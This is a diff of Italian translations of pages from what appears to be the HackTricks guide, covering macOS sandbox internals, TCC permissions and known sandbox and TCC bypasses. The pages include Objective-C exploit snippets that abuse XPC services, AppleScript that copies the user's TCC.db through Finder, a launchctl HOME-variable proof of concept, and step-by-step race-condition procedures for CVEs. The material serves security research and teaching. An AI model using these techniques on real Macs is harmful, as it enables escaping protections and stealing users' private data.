- **extension_release (#7)**: Rilascia la memoria legata a un'estensione consumata.
- **extension_update_file (#8)**: Modifica i parametri di un'estensione di file esistente all'interno del sandbox.
- **extension_twiddle (#9)**: Regola o modifica un'estensione di file esistente (es. TextEdit, rtf, rtfd).
@ -341,10 +341,10 @@ La chiamata della funzione `___sandbox_ms` avvolge `mac_syscall` indicando nel p
- **builtin_profile_deactivate (#20)**: (macOS < 11) Disattiva profili nominati (es. `pe_i_can_has_debugger`).
- **check_bulk (#21)**: Esegue più operazioni `sandbox_check` in una singola chiamata.
- **reference_retain_by_audit_token (#28)**: Crea un riferimento per un token di audit da utilizzare nei controlli del sandbox.
- **reference_release (#29)**: Rilascia un riferimento a un token di audit precedentemente mantenuto.
- **reference_release (#29)**: Rilascia un riferimento di token di audit precedentemente mantenuto.
- **rootless_allows_task_for_pid (#30)**: Verifica se `task_for_pid` è consentito (simile ai controlli `csr`).
- **rootless_whitelist_push (#31)**: (macOS) Applica un file di manifest di System Integrity Protection (SIP).
- **rootless_whitelist_check (preflight) (#32)**: Controlla il file di manifest SIP prima dell'esecuzione.
- **rootless_whitelist_push (#31)**: (macOS) Applica un file manifesto di Protezione Integrità di Sistema (SIP).
- **rootless_whitelist_check (preflight) (#32)**: Controlla il file manifesto SIP prima dell'esecuzione.
- **rootless_protected_volume (#33)**: (macOS) Applica protezioni SIP a un disco o partizione.
- **rootless_mkdir_protected (#34)**: Applica protezione SIP/DataVault a un processo di creazione di directory.
@ -352,15 +352,15 @@ La chiamata della funzione `___sandbox_ms` avvolge `mac_syscall` indicando nel p
Nota che in iOS l'estensione del kernel contiene **tutti i profili hardcoded** all'interno del segmento `__TEXT.__const` per evitare che vengano modificati. Le seguenti sono alcune funzioni interessanti dall'estensione del kernel:
- **`hook_policy_init`**: Collega `mpo_policy_init` e viene chiamato dopo `mac_policy_register`. Esegue la maggior parte delle inizializzazioni del Sandbox. Inizializza anche SIP.
- **`hook_policy_init`**: Collega `mpo_policy_init` ed è chiamato dopo `mac_policy_register`. Esegue la maggior parte delle inizializzazioni del Sandbox. Inizializza anche SIP.
- **`hook_policy_initbsd`**: Imposta l'interfaccia sysctl registrando `security.mac.sandbox.sentinel`, `security.mac.sandbox.audio_active` e `security.mac.sandbox.debug_mode` (se avviato con `PE_i_can_has_debugger`).
- **`hook_policy_syscall`**: Viene chiamato da `mac_syscall` con "Sandbox" come primo argomento e codice che indica l'operazione nel secondo. Viene utilizzato uno switch per trovare il codice da eseguire in base al codice richiesto.
- **`hook_policy_syscall`**: È chiamato da `mac_syscall` con "Sandbox" come primo argomento e codice che indica l'operazione nel secondo. Viene utilizzato uno switch per trovare il codice da eseguire in base al codice richiesto.
### MACF Hooks
**`Sandbox.kext`** utilizza più di un centinaio di hook tramite MACF. La maggior parte degli hook controllerà solo alcuni casi banali che consentono di eseguire l'azione, altrimenti chiameranno **`cred_sb_evalutate`** con le **credenziali** da MACF e un numero corrispondente all'**operazione** da eseguire e un **buffer** per l'output.
Un buon esempio di ciò è la funzione **`_mpo_file_check_mmap`** che ha collegato **`mmap`** e che inizierà a controllare se la nuova memoria sarà scrivibile (e se non lo è, consentirà l'esecuzione), poi controllerà se è utilizzata per la cache condivisa dyld e, se sì, consentirà l'esecuzione, e infine chiamerà **`sb_evaluate_internal`** (o uno dei suoi wrapper) per eseguire ulteriori controlli di autorizzazione.
Un buon esempio di ciò è la funzione **`_mpo_file_check_mmap`** che ha agganciato **`mmap`** e che inizierà a controllare se la nuova memoria sarà scrivibile (e se non lo è, consentirà l'esecuzione), poi controllerà se è utilizzata per la cache condivisa dyld e, se sì, consentirà l'esecuzione, e infine chiamerà **`sb_evaluate_internal`** (o uno dei suoi wrapper) per eseguire ulteriori controlli di autorizzazione.
Inoltre, tra i centinaia di hook utilizzati da Sandbox, ce ne sono 3 in particolare che sono molto interessanti:
@ -368,7 +368,7 @@ Inoltre, tra i centinaia di hook utilizzati da Sandbox, ce ne sono 3 in particol
- `mpo_vnode_check_exec`: Chiamato quando un processo carica il binario associato, quindi viene eseguito un controllo del profilo e anche un controllo che vieta le esecuzioni SUID/SGID.
- `mpo_cred_label_update_execve`: Questo viene chiamato quando l'etichetta viene assegnata. Questo è il più lungo poiché viene chiamato quando il binario è completamente caricato ma non è ancora stato eseguito. Eseguirà azioni come la creazione dell'oggetto sandbox, l'attacco della struttura sandbox alle credenziali kauth, la rimozione dell'accesso alle porte mach...
Nota che **`_cred_sb_evalutate`** è un wrapper su **`sb_evaluate_internal`** e questa funzione ottiene le credenziali passate e poi esegue la valutazione utilizzando la funzione **`eval`** che di solito valuta il **profilo della piattaforma** che è per impostazione predefinita applicato a tutti i processi e poi il **profilo del processo specifico**. Nota che il profilo della piattaforma è uno dei principali componenti di **SIP** in macOS.
Nota che **`_cred_sb_evalutate`** è un wrapper su **`sb_evaluate_internal`** e questa funzione ottiene le credenziali passate e poi esegue la valutazione utilizzando la funzione **`eval`** che di solito valuta il **profilo della piattaforma** che è applicato per impostazione predefinita a tutti i processi e poi il **profilo del processo specifico**. Nota che il profilo della piattaforma è uno dei principali componenti di **SIP** in macOS.
## Sandboxd

35
src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md
View File

@ -10,7 +10,7 @@ Nell'immagine precedente è possibile osservare **come il sandbox verrà caricat
Il compilatore collegherà `/usr/lib/libSystem.B.dylib` al binario.
Poi, **`libSystem.B`** chiamerà altre funzioni fino a quando **`xpc_pipe_routine`** invia i diritti dell'app a **`securityd`**. Securityd verifica se il processo deve essere messo in quarantena all'interno del Sandbox, e se sì, verrà messo in quarantena.\
Poi, **`libSystem.B`** chiamerà altre diverse funzioni fino a quando **`xpc_pipe_routine`** invia i diritti dell'app a **`securityd`**. Securityd controlla se il processo deve essere messo in quarantena all'interno del Sandbox, e se sì, verrà messo in quarantena.\
Infine, il sandbox verrà attivato con una chiamata a **`__sandbox_ms`** che chiamerà **`__mac_syscall`**.
## Possibili Bypass
@ -22,9 +22,9 @@ Infine, il sandbox verrà attivato con una chiamata a **`__sandbox_ms`** che chi
Questo è ciò che è stato fatto in [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)**.**
> [!CAUTION]
> Pertanto, al momento, se sei in grado di creare una cartella con un nome che termina in **`.app`** senza un attributo di quarantena, puoi sfuggire al sandbox perché macOS **controlla** solo l'**attributo di quarantena** nella **cartella `.app`** e nell'**eseguibile principale** (e faremo puntare l'eseguibile principale a **`/bin/bash`**).
> Pertanto, al momento, se sei in grado di creare una cartella con un nome che termina in **`.app`** senza un attributo di quarantena, puoi fuggire dal sandbox perché macOS **controlla** solo l'**attributo di quarantena** nella **cartella `.app`** e nell'**eseguibile principale** (e faremo puntare l'eseguibile principale a **`/bin/bash`**).
>
> Nota che se un pacchetto .app è già stato autorizzato a essere eseguito (ha un xttr di quarantena con il flag autorizzato a essere eseguito attivato), potresti anche abusarne... tranne che ora non puoi scrivere all'interno dei pacchetti **`.app`** a meno che tu non abbia alcuni permessi TCC privilegiati (che non avrai all'interno di un sandbox alto).
> Nota che se un pacchetto .app è già stato autorizzato a essere eseguito (ha un attributo di quarantena con il flag autorizzato a essere eseguito attivato), potresti anche abusarne... tranne che ora non puoi scrivere all'interno dei pacchetti **`.app`** a meno che tu non abbia alcuni permessi TCC privilegiati (che non avrai all'interno di un sandbox elevato).
### Abuso della funzionalità Open
@ -36,14 +36,14 @@ macos-office-sandbox-bypasses.md
### Launch Agents/Daemons
Anche se un'applicazione è **destinata a essere sandboxed** (`com.apple.security.app-sandbox`), è possibile bypassare il sandbox se viene **eseguita da un LaunchAgent** (`~/Library/LaunchAgents`), per esempio.\
Come spiegato in [**questo post**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818), se vuoi ottenere persistenza con un'applicazione che è sandboxed, potresti farla eseguire automaticamente come un LaunchAgent e magari iniettare codice malevolo tramite variabili d'ambiente DyLib.
Anche se un'applicazione è **destinata a essere sandboxed** (`com.apple.security.app-sandbox`), è possibile bypassare il sandbox se viene **eseguita da un LaunchAgent** (`~/Library/LaunchAgents`), ad esempio.\
Come spiegato in [**questo post**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818), se desideri ottenere persistenza con un'applicazione che è sandboxed, potresti farla eseguire automaticamente come un LaunchAgent e magari iniettare codice malevolo tramite variabili d'ambiente DyLib.
### Abuso delle posizioni di avvio automatico
Se un processo sandboxed può **scrivere** in un luogo dove **successivamente un'applicazione non sandboxed eseguirà il binario**, sarà in grado di **sfuggire semplicemente posizionando** lì il binario. Un buon esempio di questo tipo di posizioni sono `~/Library/LaunchAgents` o `/System/Library/LaunchDaemons`.
Se un processo sandboxed può **scrivere** in un luogo dove **successivamente un'applicazione non sandboxed eseguirà il binario**, sarà in grado di **fuggire semplicemente posizionando** lì il binario. Un buon esempio di questo tipo di posizioni sono `~/Library/LaunchAgents` o `/System/Library/LaunchDaemons`.
Per questo potresti anche aver bisogno di **2 passaggi**: far eseguire un processo con un **sandbox più permissivo** (`file-read*`, `file-write*`) che eseguirà il tuo codice che scriverà effettivamente in un luogo dove sarà **eseguito non sandboxed**.
Per questo potresti anche aver bisogno di **2 passaggi**: far eseguire il tuo codice a un processo con un **sandbox più permissivo** (`file-read*`, `file-write*`) che scriverà effettivamente in un luogo dove sarà **eseguito non sandboxed**.
Controlla questa pagina sulle **posizioni di avvio automatico**:
@ -53,7 +53,7 @@ Controlla questa pagina sulle **posizioni di avvio automatico**:
### Abuso di altri processi
Se da quel processo sandbox sei in grado di **compromettere altri processi** in esecuzione in sandbox meno restrittive (o nessuna), sarai in grado di sfuggire ai loro sandbox:
Se da quel processo sandbox sei in grado di **compromettere altri processi** in esecuzione in sandbox meno restrittivi (o nessuno), sarai in grado di fuggire dai loro sandbox:
{{#ref}}
../../../macos-proces-abuse/
@ -61,11 +61,11 @@ Se da quel processo sandbox sei in grado di **compromettere altri processi** in
### Servizi Mach di sistema e utente disponibili
Il sandbox consente anche di comunicare con determinati **servizi Mach** tramite XPC definiti nel profilo `application.sb`. Se riesci ad **abusare** di uno di questi servizi, potresti essere in grado di **sfuggire al sandbox**.
Il sandbox consente anche di comunicare con determinati **servizi Mach** tramite XPC definiti nel profilo `application.sb`. Se riesci ad **abusare** di uno di questi servizi, potresti essere in grado di **fuggire dal sandbox**.
Come indicato in [questo writeup](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/), le informazioni sui servizi Mach sono memorizzate in `/System/Library/xpc/launchd.plist`. È possibile trovare tutti i servizi Mach di sistema e utente cercando all'interno di quel file per `<string>System</string>` e `<string>User</string>`.
Inoltre, è possibile verificare se un servizio Mach è disponibile per un'applicazione sandboxed chiamando `bootstrap_look_up`:
Inoltre, è possibile controllare se un servizio Mach è disponibile per un'applicazione sandboxed chiamando `bootstrap_look_up`:
```objectivec
void checkService(const char *serviceName) {
mach_port_t service_port = MACH_PORT_NULL;
@ -96,7 +96,7 @@ Per **contattare un servizio XPC del dominio PID**, è sufficiente registrarlo a
```objectivec
[[NSBundle bundleWithPath:@“/System/Library/PrivateFrameworks/ShoveService.framework"]load];
```
Inoltre, è possibile trovare tutti i servizi Mach **Application** cercando all'interno di `System/Library/xpc/launchd.plist` per `<string>Application</string>`.
Inoltre, è possibile trovare tutti i servizi Mach delle **Applicazioni** cercando all'interno di `System/Library/xpc/launchd.plist` per `<string>Application</string>`.
Un altro modo per trovare servizi xpc validi è controllare quelli in:
```bash
@ -109,7 +109,7 @@ Diversi esempi che abusano di questa tecnica possono essere trovati nel [**write
Questo servizio consente ogni connessione XPC restituendo sempre `YES` e il metodo `runTask:arguments:withReply:` esegue un comando arbitrario con parametri arbitrari.
Lo sfruttamento era "così semplice come":
L'exploit era "così semplice come":
```objectivec
@protocol SKRemoteTaskRunnerProtocol
-(void)runTask:(NSURL *)task arguments:(NSArray *)args withReply:(void (^)(NSNumber *, NSError *))reply;
@ -132,9 +132,9 @@ NSLog(@"run task result:%@, error:%@", bSucc, error);
Questo servizio XPC consentiva a ogni client di restituire sempre YES e il metodo `createZipAtPath:hourThreshold:withReply:` consentiva fondamentalmente di indicare il percorso di una cartella da comprimere e la comprimeva in un file ZIP.
Pertanto, è possibile generare una falsa struttura di cartelle dell'app, comprimerla, quindi decomprimerla ed eseguirla per sfuggire al sandbox poiché i nuovi file non avranno l'attributo di quarantena.
Pertanto, è possibile generare una falsa struttura di cartella dell'app, comprimerla, quindi decomprimerla ed eseguirla per sfuggire al sandbox poiché i nuovi file non avranno l'attributo di quarantena.
L'exploit era:
Lo sfruttamento era:
```objectivec
@protocol AudioAnalyticsHelperServiceProtocol
-(void)pruneZips:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
@ -208,11 +208,11 @@ NSLog(@"Read the target content:%@", [NSData dataWithContentsOfURL:targetURL]);
[**Questa ricerca**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) ha scoperto 2 modi per bypassare il Sandbox. Poiché il sandbox viene applicato dal userland quando la libreria **libSystem** viene caricata. Se un binario potesse evitare di caricarla, non verrebbe mai sandboxato:
- Se il binario fosse **completamente compilato staticamente**, potrebbe evitare di caricare quella libreria.
- Se il **binario non avesse bisogno di caricare alcuna libreria** (poiché il linker è anche in libSystem), non avrà bisogno di caricare libSystem.
- Se il **binario non avesse bisogno di caricare alcuna libreria** (poiché il linker è anche in libSystem), non avrebbe bisogno di caricare libSystem.
### Shellcodes
Nota che **anche gli shellcodes** in ARM64 devono essere collegati in `libSystem.dylib`:
Nota che **anche i shellcodes** in ARM64 devono essere collegati in `libSystem.dylib`:
```bash
ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
@ -250,6 +250,7 @@ Nota che anche se alcune **azioni** potrebbero essere **consentite dal sandbox**
Per ulteriori informazioni su **Interposting** controlla:
{{#ref}}
../../../macos-proces-abuse/macos-function-hooking.md
{{#endref}}
@ -379,7 +380,7 @@ codesign -s <cert-name> --entitlements entitlements.xml sand
> echo "Sandbox Bypassed" > ~/Desktop/del.txt
> ```
Vediamo di fare il debug dell'applicazione per vedere quando viene caricato il Sandbox:
Vediamo di fare il debug dell'applicazione per capire quando viene caricato il Sandbox:
```bash
# Load app in debugging
lldb ./sand

31
src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md
View File

@ -24,7 +24,7 @@ I permessi sono **ereditati dall'applicazione padre** e i **permessi** sono **tr
### Database TCC
Le autorizzazioni/negazioni sono quindi memorizzate in alcuni database TCC:
Le autorizzazioni/rifiuti sono quindi memorizzati in alcuni database TCC:
- Il database a livello di sistema in **`/Library/Application Support/com.apple.TCC/TCC.db`**.
- Questo database è **protetto da SIP**, quindi solo un bypass SIP può scriverci.
@ -44,8 +44,8 @@ Le autorizzazioni/negazioni sono quindi memorizzate in alcuni database TCC:
> [!TIP]
> Il database TCC in **iOS** si trova in **`/private/var/mobile/Library/TCC/TCC.db`**.
> [!NOTE]
> L'**interfaccia del centro notifiche** può apportare **modifiche nel database TCC di sistema**:
> [!TIP]
> L'**interfaccia del centro notifiche** può apportare **modifiche al database TCC di sistema**:
>
> ```bash
> codesign -dv --entitlements :- /System/Library/PrivateFrameworks/TCC.framework/> Support/tccd
@ -171,12 +171,12 @@ echo "X'$REQ_HEX'"
```
- Per ulteriori informazioni sui **altri campi** della tabella [**controlla questo post del blog**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive).
Puoi anche controllare i **permessi già concessi** alle app in `System Preferences --> Security & Privacy --> Privacy --> Files and Folders`.
Puoi anche controllare le **autorizzazioni già concesse** alle app in `System Preferences --> Security & Privacy --> Privacy --> Files and Folders`.
> [!TIP]
> Gli utenti _possono_ **eliminare o interrogare le regole** utilizzando **`tccutil`**.
#### Ripristina i permessi TCC
#### Ripristina le autorizzazioni TCC
```bash
# You can reset all the permissions given to an application with
tccutil reset All app.some.id
@ -186,7 +186,7 @@ tccutil reset All
```
### Controlli della Firma TCC
Il **database** TCC memorizza il **Bundle ID** dell'applicazione, ma memorizza anche **informazioni** sulla **firma** per **assicurarsi** che l'App che richiede di utilizzare un permesso sia quella corretta.
Il TCC **database** memorizza il **Bundle ID** dell'applicazione, ma **memorizza** anche **informazioni** sulla **firma** per **assicurarsi** che l'App che richiede di utilizzare un permesso sia quella corretta.
```bash
# From sqlite
sqlite> select service, client, hex(csreq) from access where auth_value=2;
@ -206,7 +206,7 @@ csreq -t -r /tmp/telegram_csreq.bin
Le app **non hanno solo bisogno** di **richiedere** e di avere **accesso** a alcune risorse, ma devono anche **avere i diritti pertinenti**.\
Ad esempio, **Telegram** ha il diritto `com.apple.security.device.camera` per richiedere **accesso alla fotocamera**. Un **app** che **non ha** questo **diritto non potrà** accedere alla fotocamera (e l'utente non verrà nemmeno chiesto per i permessi).
Tuttavia, per le app per **accedere** a **determinate cartelle utente**, come `~/Desktop`, `~/Downloads` e `~/Documents`, **non hanno bisogno** di avere diritti specifici. Il sistema gestirà l'accesso in modo trasparente e **chiederà all'utente** secondo necessità.
Tuttavia, per le app che devono **accedere** a **determinate cartelle utente**, come `~/Desktop`, `~/Downloads` e `~/Documents`, **non hanno bisogno** di avere diritti specifici. Il sistema gestirà l'accesso in modo trasparente e **chiederà all'utente** secondo necessità.
Le app di Apple **non genereranno richieste**. Contengono **diritti pre-concessi** nella loro lista di **diritti**, il che significa che **non genereranno mai un popup**, **né** appariranno in nessuna delle **banche dati TCC**. Ad esempio:
```bash
@ -219,7 +219,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
<string>kTCCServiceAddressBook</string>
</array>
```
Questo eviterà che Calendar chieda all'utente di accedere ai promemoria, al calendario e alla rubrica.
Questo eviterà che Calendar chieda all'utente di accedere a promemoria, calendario e rubrica.
> [!TIP]
> Oltre ad alcune documentazioni ufficiali sugli entitlement, è anche possibile trovare informazioni **interessanti sugli entitlement in** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)
@ -249,10 +249,10 @@ Filename,Header,App UUID
otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
```
> [!NOTE]
> [!TIP]
> È curioso che l'attributo **`com.apple.macl`** sia gestito dal **Sandbox**, non da tccd.
>
> Nota anche che se sposti un file che consente l'UUID di un'app nel tuo computer a un altro computer, poiché la stessa app avrà UIDs diversi, non concederà accesso a quell'app.
> Nota anche che se sposti un file che consente l'UUID di un'app nel tuo computer a un computer diverso, poiché la stessa app avrà UIDs diversi, non concederà accesso a quell'app.
L'attributo esteso `com.apple.macl` **non può essere cancellato** come altri attributi estesi perché è **protetto da SIP**. Tuttavia, come [**spiegato in questo post**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), è possibile disabilitarlo **zippando** il file, **eliminandolo** e **decomprendendolo**.
@ -310,6 +310,7 @@ strftime('%s', 'now') -- last_reminded with default current timestamp
Se sei riuscito a entrare in un'app con alcune autorizzazioni TCC, controlla la seguente pagina con i payload TCC per abusarne:
{{#ref}}
macos-tcc-payloads.md
{{#endref}}
@ -318,6 +319,7 @@ macos-tcc-payloads.md
Scopri di più sugli Eventi Apple in:
{{#ref}}
macos-apple-events.md
{{#endref}}
@ -331,7 +333,7 @@ Questa specifica autorizzazione TCC indica anche l'**applicazione che può esser
In questo caso, la tua app avrebbe bisogno dell'autorizzazione **`kTCCServiceAppleEvents`** su **`com.apple.Finder`**.
{{#tabs}}
{{#tab name="Furto del TCC.db degli utenti"}}
{{#tab name="Rubare il TCC.db degli utenti"}}
```applescript
# This AppleScript will copy the system TCC database into /tmp
osascript<<EOD
@ -361,7 +363,7 @@ EOD
Potresti abusare di questo per **scrivere il tuo database TCC utente**.
> [!WARNING]
> Con questo permesso sarai in grado di **chiedere a Finder di accedere alle cartelle TCC riservate** e darti i file, ma per quanto ne so **non sarai in grado di far eseguire a Finder codice arbitrario** per abusare completamente del suo accesso FDA.
> Con questo permesso sarai in grado di **chiedere a Finder di accedere alle cartelle TCC riservate** e darti i file, ma per quanto ne so **non sarai in grado di far eseguire a Finder codice arbitrario** per sfruttare completamente il suo accesso FDA.
>
> Pertanto, non sarai in grado di abusare delle piene capacità FDA.
@ -442,11 +444,11 @@ EOD
touch "$HOME/Desktop/file"
rm "$HOME/Desktop/file"
```
### Automazione (SE) + Accessibilità (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** per FDA\*
### Automazione (SE) + Accessibilità (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** a FDA\*
L'automazione su **`System Events`** + Accessibilità (**`kTCCServicePostEvent`**) consente di inviare **sequenze di tasti ai processi**. In questo modo potresti abusare di Finder per modificare il TCC.db degli utenti o per concedere FDA a un'app arbitraria (anche se potrebbe essere richiesta una password per questo).
Esempio di sovrascrittura del TCC.db degli utenti da parte di Finder:
Esempio di sovrascrittura del TCC.db degli utenti tramite Finder:
```applescript
-- store the TCC.db file to copy in /tmp
osascript <<EOF
@ -556,6 +558,7 @@ AllowApplicationsList.plist:
```
### TCC Bypasses
{{#ref}}
macos-tcc-bypasses/
{{#endref}}

56
src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md
View File

@ -16,7 +16,7 @@ ls: Desktop: Operation not permitted
username@hostname ~ % cat Desktop/lalala
asd
```
L'**attributo esteso `com.apple.macl`** viene aggiunto al **nuovo file** per dare all'**app del creatore** accesso per leggerlo.
L'**attributo esteso `com.apple.macl`** viene aggiunto al nuovo **file** per dare all'**app del creatore** accesso per leggerlo.
### TCC ClickJacking
@ -39,7 +39,7 @@ Ulteriori informazioni e PoC in:
### Bypass SSH
Per impostazione predefinita, un accesso tramite **SSH aveva "Accesso completo al disco"**. Per disabilitarlo è necessario averlo elencato ma disabilitato (rimuoverlo dall'elenco non rimuoverà quei privilegi):
Per impostazione predefinita, un accesso tramite **SSH aveva "Accesso completo al disco"**. Per disabilitarlo, è necessario averlo elencato ma disabilitato (rimuoverlo dall'elenco non rimuoverà quei privilegi):
![](<../../../../../images/image (1077).png>)
@ -52,9 +52,9 @@ Qui puoi trovare esempi di come alcuni **malware siano stati in grado di bypassa
### Gestione delle estensioni - CVE-2022-26767
L'attributo **`com.apple.macl`** viene dato ai file per dare a **una certa applicazione i permessi per leggerlo.** Questo attributo viene impostato quando si **trascina** un file su un'app, o quando un utente **fa doppio clic** su un file per aprirlo con l'**applicazione predefinita**.
L'attributo **`com.apple.macl`** viene dato ai file per dare a una **certa applicazione i permessi per leggerlo.** Questo attributo viene impostato quando si **trascina** un file su un'app, o quando un utente **fa doppio clic** su un file per aprirlo con l'**applicazione predefinita**.
Pertanto, un utente potrebbe **registrare un'app malevola** per gestire tutte le estensioni e chiamare i Servizi di avvio per **aprire** qualsiasi file (quindi il file malevolo avrà accesso per leggerlo).
Pertanto, un utente potrebbe **registrare un'app malevola** per gestire tutte le estensioni e chiamare i Servizi di avvio per **aprire** qualsiasi file (così il file malevolo avrà accesso per leggerlo).
### iCloud
@ -62,11 +62,11 @@ L'attributo **`com.apple.private.icloud-account-access`** consente di comunicare
**iMovie** e **Garageband** avevano questo attributo e altri che lo consentivano.
Per ulteriori **informazioni** sull'exploit per **ottenere token iCloud** da quell'attributo, controlla il talk: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
Per ulteriori **informazioni** sull'exploit per **ottenere token iCloud** da quell'attributo, controlla il talk: [**#OBTS v5.0: "Cosa succede sul tuo Mac, rimane su iCloud di Apple?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
### kTCCServiceAppleEvents / Automazione
Un'app con il permesso **`kTCCServiceAppleEvents`** sarà in grado di **controllare altre app**. Questo significa che potrebbe essere in grado di **abusare dei permessi concessi alle altre app**.
Un'app con il permesso **`kTCCServiceAppleEvents`** sarà in grado di **controllare altre app**. Questo significa che potrebbe essere in grado di **abuse dei permessi concessi alle altre app**.
Per ulteriori informazioni sugli Apple Scripts, controlla:
@ -98,7 +98,7 @@ osascript iterm.script
```
#### Over Finder
Oppure, se un'app ha accesso su Finder, potrebbe utilizzare uno script come questo:
Oppure, se un'app ha accesso a Finder, potrebbe utilizzare uno script come questo:
```applescript
set a_user to do shell script "logname"
tell application "Finder"
@ -115,7 +115,7 @@ do shell script "rm " & POSIX path of (copyFile as alias)
Il **daemon tccd** in userland utilizzava la variabile di ambiente **`HOME`** per accedere al database utenti TCC da: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
Secondo [questo post di Stack Exchange](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) e poiché il daemon TCC viene eseguito tramite `launchd` all'interno del dominio dell'utente corrente, è possibile **controllare tutte le variabili di ambiente** passate ad esso.\
Pertanto, un **attaccante potrebbe impostare la variabile di ambiente `$HOME`** in **`launchctl`** per puntare a una **directory controllata**, **riavviare** il **daemon TCC** e poi **modificare direttamente il database TCC** per concedersi **tutti i diritti TCC disponibili** senza mai richiedere l'intervento dell'utente finale.\
Pertanto, un **attaccante potrebbe impostare la variabile di ambiente `$HOME`** in **`launchctl`** per puntare a una **directory** **controllata**, **riavviare** il **daemon TCC** e poi **modificare direttamente il database TCC** per concedersi **tutti i diritti TCC disponibili** senza mai richiedere l'intervento dell'utente finale.\
PoC:
```bash
# reset database just in case (no cheating!)
@ -157,7 +157,7 @@ Era possibile aggiungere l'attributo di quarantena a "Library", chiamare il serv
### CVE-2023-38571 - Musica & TV <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
**`Music`** ha una caratteristica interessante: Quando è in esecuzione, **importa** i file trascinati in **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** nella "media library" dell'utente. Inoltre, chiama qualcosa come: **`rename(a, b);`** dove `a` e `b` sono:
**`Musica`** ha una caratteristica interessante: Quando è in esecuzione, **importa** i file trascinati in **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** nella "libreria multimediale" dell'utente. Inoltre, chiama qualcosa come: **`rename(a, b);`** dove `a` e `b` sono:
- `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"`
- `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3`
@ -167,7 +167,7 @@ Questo comportamento **`rename(a, b);`** è vulnerabile a una **Race Condition**
### SQLITE_SQLLOG_DIR - CVE-2023-32422
Se **`SQLITE_SQLLOG_DIR="path/folder"`** significa fondamentalmente che **qualsiasi db aperto viene copiato in quel percorso**. In questo CVE, questo controllo è stato abusato per **scrivere** all'interno di un **database SQLite** che verrà **aperto da un processo con FDA il database TCC**, e poi abusare di **`SQLITE_SQLLOG_DIR`** con un **symlink nel nome del file** in modo che quando quel database è **aperto**, l'utente **TCC.db viene sovrascritto** con quello aperto.\
**Maggiore info** [**nella scrittura**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **e** [**nella talk**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s).
**Maggiore info** [**nella scrittura**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **e** [**nella conferenza**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s).
### **SQLITE_AUTO_TRACE**
@ -180,11 +180,11 @@ launchctl setenv SQLITE_AUTO_TRACE 1
```
### MTL_DUMP_PIPELINES_TO_JSON_FILE - CVE-2023-32407
Questa **variabile di ambiente è utilizzata dal framework `Metal`** che è una dipendenza di vari programmi, in particolare `Music`, che ha FDA.
Questa **variabile di ambiente è utilizzata dal framework `Metal`** che è una dipendenza per vari programmi, in particolare `Music`, che ha FDA.
Impostando quanto segue: `MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`. Se `path` è una directory valida, il bug verrà attivato e possiamo usare `fs_usage` per vedere cosa sta succedendo nel programma:
Impostando quanto segue: `MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`. Se `path` è una directory valida, il bug si attiverà e possiamo usare `fs_usage` per vedere cosa sta succedendo nel programma:
- un file sarà `open()`ed, chiamato `path/.dat.nosyncXXXX.XXXXXX` (X è casuale)
- un file sarà `open()`ato, chiamato `path/.dat.nosyncXXXX.XXXXXX` (X è casuale)
- uno o più `write()` scriveranno i contenuti nel file (non controlliamo questo)
- `path/.dat.nosyncXXXX.XXXXXX` sarà `renamed()` a `path/name`
@ -204,17 +204,17 @@ Questo era l'attacco nel CVE: Ad esempio, per sovrascrivere il `TCC.db` dell'ute
- impostare `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db`
- attivare il bug eseguendo `Music` con questa variabile di ambiente
- catturare l'`open()` di `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX` (X è casuale)
- qui apriamo anche questo file per scrivere e teniamo il file descriptor
- qui apriamo anche questo file per scrivere e teniamo il descrittore di file
- scambiare in modo atomico `/Users/hacker/tmp` con `/Users/hacker/ourlink` **in un ciclo**
- facciamo questo per massimizzare le nostre possibilità di successo poiché la finestra di gara è piuttosto ristretta, ma perdere la gara ha un impatto trascurabile
- aspetta un po'
- verifica se abbiamo avuto fortuna
- se no, ripeti dall'inizio
